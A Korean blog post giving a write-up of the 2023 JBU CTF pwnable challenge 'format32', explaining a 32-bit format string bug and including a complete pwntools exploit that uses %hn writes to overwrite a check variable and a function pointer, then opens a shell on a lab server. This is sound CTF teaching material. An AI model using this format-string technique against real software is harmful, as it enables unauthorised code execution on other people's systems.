e_yejun
Jun_ : Pwn
e_yejun
์ „์ฒด ๋ฐฉ๋ฌธ์ž
์˜ค๋Š˜
์–ด์ œ
  • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • ์•Œ๊ณ ๋ฆฌ์ฆ˜ (42)
    • ํ”„๋กœ๊ทธ๋ž˜๋ฐ (24)
    • ํ”„๋กœ์ ํŠธ (6)
    • 1-day (7)
    • CTF (15)
    • ๊ธฐํƒ€ (33)
    • ์ผ๊ธฐ์žฅ (0)

๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

  • ํ™ˆ
  • ํƒœ๊ทธ
  • ๋ฐฉ๋ช…๋ก

๊ณต์ง€์‚ฌํ•ญ

์ธ๊ธฐ ๊ธ€

ํƒœ๊ทธ

  • 1-day
  • X86
  • dreamhack.io
  • how2heap
  • dvwa
  • Heap
  • BOF
  • rev-basic
  • wargame
  • x64

์ตœ๊ทผ ๋Œ“๊ธ€

์ตœ๊ทผ ๊ธ€

ํ‹ฐ์Šคํ† ๋ฆฌ

hELLO ยท Designed By ์ •์ƒ์šฐ.
e_yejun

Jun_ : Pwn

CTF

[2023 JBU CTF] format32 write-up

2023. 10. 28. 22:04

๋ถ„์•ผ : Pwnable

๐Ÿ’ก 2023 JBU CTF์—์„œ ์ถœ์ œํ•œ ๋ฌธ์ œ์— ๋Œ€ํ•œ write-up์ด๋‹ค.

๐Ÿง ๋ฌธ์ œ

๋ฌธ์ œ๋ช… : format32

32bit ํ™˜๊ฒฝ์—์„œ format string bug๋กœ ํฌ์ธํ„ฐ๋ฅผ overwriteํ•˜์—ฌ get_shellํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

 

์œ„ ๊ตฌ์„ฑ์ด ๋ฌธ์ œํŒŒ์ผ๋กœ ์ œ๊ณต๋œ๋‹ค. ๋กœ์ปฌ์—์„œ ๋„์ปค ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์˜ฌ๋ ค ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ง„ํ–‰ํ•˜๊ณ , ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์„œ๋ฒ„์— ์ „์†กํ•˜๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๐Ÿง ๋ถ„์„

๋ณดํ˜ธ ๊ธฐ๋ฒ•์€ ์œ„์™€ ๊ฐ™๋‹ค. ๋ฌธ์ œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž.

 

mainํ•จ์ˆ˜์ด๋‹ค. buf์— ๊ฐ’์„ 256byte ์ž…๋ ฅ๋ฐ›๊ณ , ์ด๋ฅผ ์ถœ๋ ฅํ•  ๋•Œ format string bug๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

funcPtrํฌ์ธํ„ฐ์— winํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜๊ณ , check์ „์—ญ๋ณ€์ˆ˜์˜ ๊ฐ’์ด 0xdeadbeef์ด๋ฉด funcPtr์— ๋“ค์–ด๊ฐ„ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

format string bug๋กœ ํŠน์ • ๋ฉ”๋ชจ๋ฆฌ ๊ฐ’๋“ค์„ overwrite ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, check์ „์—ญ๋ณ€์ˆ˜์— ์ ์ ˆํ•œ ๊ฐ’์„ write ํ•˜๋ฉด ๋œ๋‹ค.

 

winํ•จ์ˆ˜๋Š” ๊ทธ์ € ์ถœ๋ ฅํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ด๊ธฐ ๋•Œ๋ฌธ์—, funcPtr์ „์—ญ๋ณ€์ˆ˜๋„ winํ•จ์ˆ˜ ์ฃผ์†Œ์—์„œ get_shell์ฃผ์†Œ๋กœ overwrite ํ•ด์ค˜์•ผ ํ•œ๋‹ค.

 

get_shellํ•จ์ˆ˜๋Š” system('/bin/sh');์œผ๋กœ ์…ธ์„ ํš๋“ํ•œ๋‹ค.

๐Ÿ’ก ๋”ฐ๋ผ์„œ, fsb๋กœ check ๊ฐ’๊ณผ funcPtr ๊ฐ’์„ ์ ์ ˆํžˆ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค.

 

์ž…๋ ฅํ•œ AAAA๊ฐ€ 11๋ฒˆ์งธ์—์„œ leak๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž…๋ ฅ ์‹œ writeํ•  ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด๋‘๊ณ  ์ด๋ฅผ %11$hn๊ณผ ๊ฐ™์ด ์ง€์ •ํ•˜์—ฌ ํ•ด๋‹น ์•ž์— ๋ฌธ์ž์—ด ๊ฐœ์ˆ˜๋งŒํผ ๊ฐ’์„ overwriteํ•œ๋‹ค.

 

๐Ÿง ์ต์Šคํ”Œ๋กœ์ž‡

from pwn import *
#context.log_level = 'debug'

#p = process('./format32')
e = ELF('./format32')
p = remote('192.168.83.137', 13574)
libc = e.libc

exit_got = e.got['exit']
check = e.symbols['check']
func = e.symbols['funcPtr']
shell = e.symbols['get_shell']

#get_shell = 0x08049296
#check = 0xdeadbeef
payload = b''
payload += p32(func)
payload += p32(func+2)
payload += p32(check)
payload += p32(check+2)
payload += b'%37510c%11$hn' #0x9296
payload += b'%30062c%12$hn' #0x10804
payload += b'%46827c%13$hn' #0x1beef
payload += b'%8126c%14$hn'  #0x1dead

#gdb.attach(p)
#pause()

p.send(payload)

p.interactive()

ํ•ด๋‹น exploit ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

 

    'CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
    • [2023 JBU CTF] call_func write-up
    • [2023 JBU CTF] format64 write-up
    • [2023 JBU CTF] double canary write-up
    • [2023 JBU CTF] babybof write-up
    e_yejun
    e_yejun
    ์ •๋ฆฌ๋…ธํŠธ •_•

    ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”